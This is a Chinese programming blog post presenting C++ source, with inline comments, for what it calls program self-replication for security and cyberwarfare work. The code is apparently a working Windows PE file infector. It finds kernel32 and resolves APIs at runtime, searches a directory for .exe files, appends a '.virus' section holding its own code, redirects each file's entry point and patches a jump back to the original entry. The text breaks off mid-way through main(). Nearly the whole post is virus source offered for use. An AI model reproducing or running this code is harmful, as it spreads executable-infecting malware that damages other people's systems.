您的位置:首页 > 编程语言 > C语言/C++

基于visual c++之windows核心编程代码分析(65)实现程序自我复制

2013-01-01 14:08 926 查看
我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,

我们如何实现程序的自我复制呢,

请见代码

[cpp]
view plaincopyprint?

#include <iostream.h>

#include <windows.h>
#include <stdio.h>

//////////////////////////////////////////////////////////////////////////

//*******************************************************************

//*******以下为程序代码*******

//*******此段代码首先动态获取API入口地址
//*******然后实现代码的自我复制

//*******************************************************************

//////////////////////////////////////////////////////////////////////////

void VirusCode()
{
//////////////////////////////////////////////////////////////////////////

// *******以下代码用于获取本函数在内存中的起始地址*******

// *******本函数功能相对独立*******

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******变量说明*******

// **dwCodeBegin :本函数的开始地址

// **dwCodeEnd :本函数的结束地址

// **dwMyCodeAddr :自己写的代码的开始地址

//////////////////////////////////////////////////////////////////////////

DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;

// *******指针变量*******
PBYTE pMove = NULL;

// *******动态获取自己写的代码的开始地址*******

_asm
{
call A
A:
pop eax

mov dwMyCodeAddr , eax
}

// *******把地址赋给变量*******

pMove = (PBYTE)dwMyCodeAddr;

// *******向前搜索得到函数的真正入口地址*******

while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))

{
pMove --;
}

// *******此时pMove指向函数的入口push ebp处*******

dwCodeBegin = (DWORD)pMove;

//cout << "开始地址为:" << hex << dwCodeBegin << endl;

// *******从自己写的代码处向后搜索*******

pMove = (PBYTE)dwMyCodeAddr;

while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)

&& (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))

{
pMove ++;
}

pMove += 9;
// *******此时pMove指向ret的前一条指令pop ebp处*******

dwCodeEnd = (DWORD)pMove;

DWORD dwFunCodeLen;
dwFunCodeLen = dwCodeEnd - dwCodeBegin;

//////////////////////////////////////////////////////////////////////////

// *******上面为获取本函数的起始与结束地址*******

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******下面动态获取API入口地址

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******定义用到的字符串*******

char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};

char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};

DWORD KernelBase;

// *******获取本程序结束后的返回地址,此地址必须在开始处获得*******

_asm
{
mov eax , [ebp+4]
mov KernelBase,eax
}

//////////////////////////////////////////////////////////////////////////

// *******以下通过变换得到Kernel32.dll的基址*******

//////////////////////////////////////////////////////////////////////////

KernelBase = KernelBase & 0Xffff0000;

// *******检查是否到了kernel32.dll的装载基址*******

IMAGE_DOS_HEADER *doshead;

while(KernelBase >= 0X70000000)

{
// *******首先检查dos文件头*******

doshead = (IMAGE_DOS_HEADER*)KernelBase;
if(doshead->e_magic == IMAGE_DOS_SIGNATURE)

{
// *******再检查NT文件头*******

IMAGE_NT_HEADERS* nthead;
nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);

if(nthead->Signature == IMAGE_NT_SIGNATURE)

{
break;
}
}
KernelBase-=0x10000;
}

//////////////////////////////////////////////////////////////////////////

// *******以下通过搜索kernel32.dll得到GetProcAddress的地址*******

//////////////////////////////////////////////////////////////////////////

DWORD AddrOfGetProcAddr , AddrOfLoadLib;

IMAGE_DOS_HEADER* pFile1; //指向dos文件头

IMAGE_NT_HEADERS* pFile2; //指向nt文件头

// *******检查文件的合法性*******

pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)

{
return;
}
pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);

if(pFile2->Signature != IMAGE_NT_SIGNATURE)

{
return;

}

IMAGE_EXPORT_DIRECTORY *pExport;
pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);

// *******以下在导出表中搜索名字为"GetProcAddress"的函数地址*******

char *FunName;
DWORD *AddrOfNameRVA;

WORD *AddrOfNameOrRVA;

AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);

for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)

{
FunName = (char*)(KernelBase + AddrOfNameRVA[i]);

// *******函数名与字符串"GetProcAddress"进行比较*******

BOOL eql = 1;
for (int j = 0 ; j < 15 ; j ++)

{
if (GetProcAddrName[j] != FunName[j])

{
eql = 0;
break;
}
}
// *******如果字符串相等了,说明找到了*******

if (eql)
{
AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);

int num = 0;

num = pExport->Base + AddrOfNameOrRVA[i];

DWORD *AddrOfFun;

AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);

AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];

break;

}
}

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******以下集中获取要用到的API入口地址*******

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******定义GetProcAddress函数类型*******

typedef DWORD (WINAPI *stGetProcAddress)(HMODULE ,
LPCSTR);

// *******定义LoadLibraryA函数地址*******

typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);

// *******调用GetProcAddress获取LoadLibrary地址*******

// *******定义GetProcAddress函数变量*******

stGetProcAddress myGetProcAddress;

// *******给函数赋地址*******

myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;

// *******调用GetProcAddress*******

AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);

// *******定义LoadLibrary函数变量*******

stLoadLibrary myLoadLibrary;

// *******给函数赋地址*******

myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;

char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};

DWORD User32Base; //存放user32.dll的基址

// *******得到user32.dll的基址*******

User32Base = myLoadLibrary(User32Name);

//////////////////////////////////////////////////////////////////////////

// *****获取CreateFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR ,
DWORD , DWORD , LPSECURITY_ATTRIBUTES ,

DWORD ,
DWORD , HANDLE);

// *****定义函数变量*****

stCreateFile myCreateFile;

// *****定义函数名称字符串*****

char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};

// *****获得函数地址*****

myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取CreateFileMapping函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,

DWORD , DWORD ,
DWORD , LPCTSTR );

// *****定义函数变量*****
stCreateFileMapping myCreateFileMapping;

// *****定义函数名称字符串*****

char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',

'M','a','p','p','i','n','g','A','\0'};

// *****获得函数地址*****

myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,

CreateFileMappingName);

//////////////////////////////////////////////////////////////////////////

// *****获取MapViewOfFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE ,
DWORD , DWORD ,
DWORD , DWORD);

// *****定义函数变量*****
stMapViewOfFile myMapViewOfFile;

// *****定义函数名称字符串*****

char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};

// *****获得函数地址*****
myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,

MapViewOfFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取GlobalAlloc函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT ,
SIZE_T);

// *****定义函数变量*****

stGlobalAlloc myGlobalAlloc;

// *****定义函数名称字符串*****

char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};

// *****获得函数地址*****

myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,

GlobalAllocName);

//////////////////////////////////////////////////////////////////////////

// *****获取RtlMoveMemory函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef void (WINAPI *stRtlMoveMemory)(PVOID ,
const VOID* ,
SIZE_T );

// *****定义函数变量*****

stRtlMoveMemory myRtlMoveMemory;

// *****定义函数名称字符串*****

char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};

// *****获得函数地址*****

myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,

RtlMoveMemoryName);

//////////////////////////////////////////////////////////////////////////

// *****获取SetFilePointer函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef DWORD (WINAPI *stSetFilePointer)(HANDLE ,
LONG , PLONG ,
DWORD);

// *****定义函数变量*****
stSetFilePointer mySetFilePointer;

// *****定义函数名称字符串*****

char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};

// *****获得函数地址*****
mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,

SetFilePointerName);

//////////////////////////////////////////////////////////////////////////

// *****获取WriteFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef BOOL (WINAPI *stWriteFile)(HANDLE ,
LPCVOID , DWORD ,
LPDWORD , LPOVERLAPPED);

// *****定义函数变量*****

stWriteFile myWriteFile;

// *****定义函数名称字符串*****

char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};

// *****获得函数地址*****

myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,

WriteFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取SetEndOfFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);

// *****定义函数变量*****
stSetEndOfFile mySetEndOfFile;

// *****定义函数名称字符串*****

char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};

// *****获得函数地址*****
mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,

SetEndOfFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取CloseHandle函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef BOOL (WINAPI *stCloseHandle)(HANDLE);

// *****定义函数变量*****

stCloseHandle myCloseHandle;

// *****定义函数名称字符串*****

char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};

// *****获得函数地址*****

myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,

CloseHandleName);

//////////////////////////////////////////////////////////////////////////

// *****获取UnmapViewOfFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);

// *****定义函数变量*****

stUnmapViewOfFile myUnmapViewOfFile;

// *****定义函数名称字符串*****

char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};

// *****获得函数地址*****

myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,

UnmapViewOfFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取FindFirstFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);

// *****定义函数变量*****

stFindFirstFile myFindFirstFile;

// *****定义函数名称字符串*****

char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};

// *****获得函数地址*****

myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,

FindFirstFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取CopyFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef BOOL (WINAPI *stCopyFile)(LPCTSTR ,
LPCTSTR , BOOL);

// *****定义函数变量*****

stCopyFile myCopyFile;

// *****定义函数名称字符串*****

char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};

// *****获得函数地址*****

myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,

CopyFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取FindNextFile函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);

// *****定义函数变量*****
stFindNextFile myFindNextFile;

// *****定义函数名称字符串*****

char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};

// *****获得函数地址*****
myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,

FindNextFileName);

//////////////////////////////////////////////////////////////////////////

// *****获取FindClose函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef BOOL (WINAPI *stFindClose)(HANDLE);

// *****定义函数变量*****

stFindClose myFindClose;

// *****定义函数名称字符串*****

char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};

// *****获得函数地址*****

myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,

FindCloseName);

//////////////////////////////////////////////////////////////////////////

// *****获取lstrcat函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR ,
LPTSTR);

// *****定义函数变量*****
stlstrcat mylstrcat;

// *****定义函数名称字符串*****

char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};

// *****获得函数地址*****
mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,

lstrcatName);

//////////////////////////////////////////////////////////////////////////

// *****获取lstrcpy函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR ,
LPTSTR);

// *****定义函数变量*****

stlstrcpy mylstrcpy;

// *****定义函数名称字符串*****

char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};

// *****获得函数地址*****

mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,

lstrcpyName);

//////////////////////////////////////////////////////////////////////////

// *****获取lstrlen函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****

typedef int (WINAPI *stlstrlen)(LPCTSTR);

// *****定义函数变量*****
stlstrlen mylstrlen;

// *****定义函数名称字符串*****

char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};

// *****获得函数地址*****
mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,

lstrlenName);

//////////////////////////////////////////////////////////////////////////

// *****获取RtlZeroMemory函数地址*****

//////////////////////////////////////////////////////////////////////////

// *****首先定义函数类型*****
typedef void (WINAPI *stRtlZeroMemory)(PVOID ,
SIZE_T);

// *****定义函数变量*****

stRtlZeroMemory myRtlZeroMemory;

// *****定义函数名称字符串*****

char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};

// *****获得函数地址*****

myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase ,

RtlZeroMemoryName);

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******以上集中获取用到的API*******

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******下面为搜索并自我复制的代码*******

//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

// *******搜索的带过滤条件的源目录*******

char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};

// *******不带条件的源目录*******

char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};

// *******要复制的目录*******

char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};

WIN32_FIND_DATA findBuf;

// *******进行第一次搜索*******

HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);

// *******申请缓冲区,用于存放源文件的完整目录+文件名*******

char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);

// *******申请缓冲区,用于存放目的文件的完整目录+文件名*******

char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);

// *******对每一个文件进行复制感染操作*******

do
{
// *******缓冲区清空*******

myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
myRtlZeroMemory(DestDirNameBuf , MAX_PATH);

// *******把源目录放在缓冲区中*******

mylstrcpy(SourDirNameBuf , SourceDir);

// *******把搜索到的文件名添加在源目录后面*******

mylstrcat(SourDirNameBuf , findBuf.cFileName);

// *******把目的目录放在缓冲区中*******

mylstrcpy(DestDirNameBuf , DestDir);

// *******把搜索到的文件名添加在源目录后面*******

mylstrcat(DestDirNameBuf , findBuf.cFileName);

//////////////////////////////////////////////////////////////////////////

// *******以下对每一个文件感染*******

//////////////////////////////////////////////////////////////////////////

HANDLE hFile , hMapFile;

LPVOID pMapOfFile = NULL;

char SecName[] = {'.','v','i','r','u','s','\0'};
//新添加的节名

//////////////////////////////////////////////////////////////////////////

//*******检测文件合法性*******

//////////////////////////////////////////////////////////////////////////

// *******打开文件*******

hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ |

FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

if (INVALID_HANDLE_VALUE == hFile)

{
goto TheNextFile;

}

// *******创建文件映射*******

hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);

if (!hMapFile)

{
goto CLOSEFILEHANDLE;

}

// *******把文件映射到内存中*******

pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);

if (!pMapOfFile)

{
goto CLOSEMAPHANDLE;

}

IMAGE_DOS_HEADER *pDosHeader;

// ********检测DOS文件头*******

pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;

if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)

{
goto FreeViewOfMap;

}

IMAGE_NT_HEADERS *pNtHeader;

// *******检测NT文件头*******

pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);

if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)

{
goto FreeViewOfMap;

}

//////////////////////////////////////////////////////////////////////////

// *******检测感染标记*******

//////////////////////////////////////////////////////////////////////////

// *******得到该文件的节表数*******

int SecNum;
SecNum = pNtHeader->FileHeader.NumberOfSections;

// *******定位到节表开始处*******

IMAGE_SECTION_HEADER *pSecHeader;
pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);

int i ;

// *******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过*******

for (i = 0 ; i < SecNum ; i ++)

{
char *SecNameAddr = (char*)pSecHeader->Name;

if ((SecNameAddr[0] ==
'.') && (SecNameAddr[1] == 'v') &&

(SecNameAddr[2] == 'i') && (SecNameAddr[3] ==
'r') &&
(SecNameAddr[4] == 'u') && (SecNameAddr[5] ==
's'))
{
// *******直接退出*******

goto FreeViewOfMap;

}
// *******查看下一个节表*******

pSecHeader ++;
}

//////////////////////////////////////////////////////////////////////////

//*******准备工作*******

//////////////////////////////////////////////////////////////////////////

BOOL bCopy;

// *******首先把要添加程序代码的文件复制一份*******

bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);

if (!bCopy)

{
goto FreeViewOfMap;

}

HANDLE hNewFile;

// *******打开刚刚复制的文件*******

hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ

| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

if (!hNewFile)
{
goto FreeViewOfMap;

}

HGLOBAL pNewFileHeader;

// *******为新文件的文件头申请一块内存,用于修改文件头信息*******

pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);

if (!pNewFileHeader)

{
goto CloseNewFileHandle;

}

// *******用原文件头填充这块内存*******

myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);

// *******定义一个变量指向新内存的NT文件头处*******

IMAGE_NT_HEADERS *pNewFileNtHeader;

pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);

//////////////////////////////////////////////////////////////////////////

//*******此时的指针信息*******

//*******pMapOfFile : 原映射文件的开始

//*******pDosHeader : 原映射文件的DOS头,也就是文件开始,只不过类型不一样

//*******pNTHeader : 原映射文件的NT头

//*******pNewFileHeader : 新文件的开始

//*******pNewFileNtHeader : 新文件的NT头

//////////////////////////////////////////////////////////////////////////

//****************************************************************

//*******修改新文件的节表信息*******

//****************************************************************

int nSecNum;

nSecNum = pNtHeader->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER *pLastSec , *pNewSec;

// *******定位到原文件中的最后一个节表*******

pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader +
sizeof(IMAGE_NT_HEADERS)
+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));

// *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******

pNewSec = pLastSec + 1;

//*******修改新增节表的相关信息*******

//*****节表总数加1*****

pNewFileNtHeader->FileHeader.NumberOfSections ++;

//*****修改新节的文件偏移*****

pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;

//*****修改新节的文件尺寸*****

int nAlignNum;

nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;

if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)

{
nAlignNum++;
}
pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;

//*****修改所有代码长度按内存页对齐后的大小*****

nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;

if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)

{
nAlignNum ++;
}
pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *

pNewFileNtHeader->OptionalHeader.SectionAlignment;

//*****修改文件内存映像尺寸*****

pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *

pNewFileNtHeader->OptionalHeader.SectionAlignment;

//*****修改新节的内存偏移量*****

//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****

nAlignNum = pLastSec->Misc.VirtualSize /
pNewFileNtHeader->OptionalHeader.SectionAlignment;

if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)

{
nAlignNum ++;
}
pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment

+ pLastSec->VirtualAddress;

//*****修改新节的内存尺寸*****

pNewSec->Misc.VirtualSize = dwFunCodeLen;

//*****更新新节属性*****
pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |

IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

//*****更新节名*****
mylstrcpy((char*)pNewSec->Name , SecName);

//*****更新入口地址*****

pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;

BOOL bWrite;
DWORD dwHeaderSize , dwWriten;

dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);

bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize ,

&dwWriten , NULL);

//////////////////////////////////////////////////////////////////////////

//*****向文件中添加程序代码*****

//////////////////////////////////////////////////////////////////////////

DWORD dwSetFileP;

//*****定位到新文件中新节开始处*****

dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);

if (!dwSetFileP)

{
goto CloseNewFileHandle;

}

//*****写入程序代码*****
bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);

if (!bWrite)
{
goto CloseNewFileHandle;

}

//*****定位到文件尾部*****

dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData +

pNewSec->SizeOfRawData , NULL , FILE_BEGIN);

if (!dwSetFileP)
{
goto CloseNewFileHandle;

}

//*****设定文件结束*****

if (!mySetEndOfFile(hNewFile))

{
goto CloseNewFileHandle;

}

//////////////////////////////////////////////////////////////////////////

//*******修正原入口地址*******

//////////////////////////////////////////////////////////////////////////

PBYTE pModifyAddr;

pModifyAddr = (PBYTE)pNewSec->VirtualAddress;

pModifyAddr += dwFunCodeLen;

int nSub;
//跳转的距离
nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;

DWORD dwModifyLoca;

dwModifyLoca = pNewSec->PointerToRawData;
dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;

// *****定位到程序代码最后的五个字节处*****

dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);

if (!dwSetFileP)
{
goto CloseNewFileHandle;

}
//*****修正jmp指令*****

BYTE bJmp;

bJmp = 0XE9;
bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);

if (!bWrite)
{
goto CloseNewFileHandle;

}
//*****修正跳转地址*****
bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);

if (!bWrite)
{
goto CloseNewFileHandle;

}

//////////////////////////////////////////////////////////////////////////

//*******扫尾工作*******
//////////////////////////////////////////////////////////////////////////

CloseNewFileHandle:
myCloseHandle(hNewFile);
FreeViewOfMap:
myUnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
myCloseHandle(hMapFile);
CLOSEFILEHANDLE:
myCloseHandle(hFile);
TheNextFile:
;
} while (myFindNextFile(hFileFind , &findBuf));

myFindClose(hFileFind);

return;
}

//////////////////////////////////////////////////////////////////////////

//*******************************************************************

//*******主函数*******

//*******************************************************************

//////////////////////////////////////////////////////////////////////////

void main()
{
//*******************************************************************

//*******首先得到程序代码起始地址,结束地址,代码长度*******

//*******************************************************************

/////////////////////////////////////////////////////////////////

// *******变量说明*******
// **dwFunBegAddr :程序函数的开始地址

// **dwFunEndAddr :程序函数的结束地址

// **dwFunCodeLen :程序代码长度

// **dwJmpOff :程序函数jmp区到真正入口的偏移

// **pMove :临时的指针变量

/////////////////////////////////////////////////////////////////

DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;

PBYTE pMove = NULL;

// *******首先指向程序函数的jmp指令*******

pMove = (PBYTE)VirusCode;

cout << "函数的jmp地址为:" << (PVOID)pMove << endl;

// *******定位到jmp后面的偏移处*******

pMove ++;

// *******把偏移赋值给变量*******

dwJmpOff = *((PDWORD)pMove);

// *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******

dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;

cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;

cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;

// *******以下通过搜索得到函数的结束地址*******

// *******首先把函数的入口地址赋给变量*******

pMove = (PBYTE)dwFunBegAddr;

// *******向后搜索,直到结尾*******

while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))

{
pMove ++;
}

// *******此时pMove指向ret前一条指令*******

// *******pMove向后移5个字节,为程序代码的jmp指令占位*******

pMove +=5;
dwFunEndAddr = (DWORD)pMove;

cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;

// *******结束地址减去起始地址,得到代码长度*******

dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;

cout << "总代码长度为:" << (int)dwFunCodeLen << endl;

//*******************************************************************

//*******以下为在exe文件中添加程序代码*******

//*******************************************************************

HANDLE hFile , hMapFile;

LPVOID pMapOfFile = NULL;

//*******************************************************************

//*******检测文件合法性*******
//*******************************************************************

// *******打开文件*******
hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |

FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);

if (INVALID_HANDLE_VALUE == hFile)

{
cout << "CreateFile Error!" << endl;

return;

}

// *******创建文件映射*******

hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);

if (!hMapFile)

{
cout << "CreateFileMapping Error!" << endl;

goto CLOSEFILEHANDLE;

}

// *******把文件映射到内存中*******

pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);

if (!pMapOfFile)
{
cout << "MapViewOfFile Error!" << endl;

goto CLOSEMAPHANDLE;

}

IMAGE_DOS_HEADER *pDosHeader;

// ********检测DOS文件头*******

pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;

if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)

{
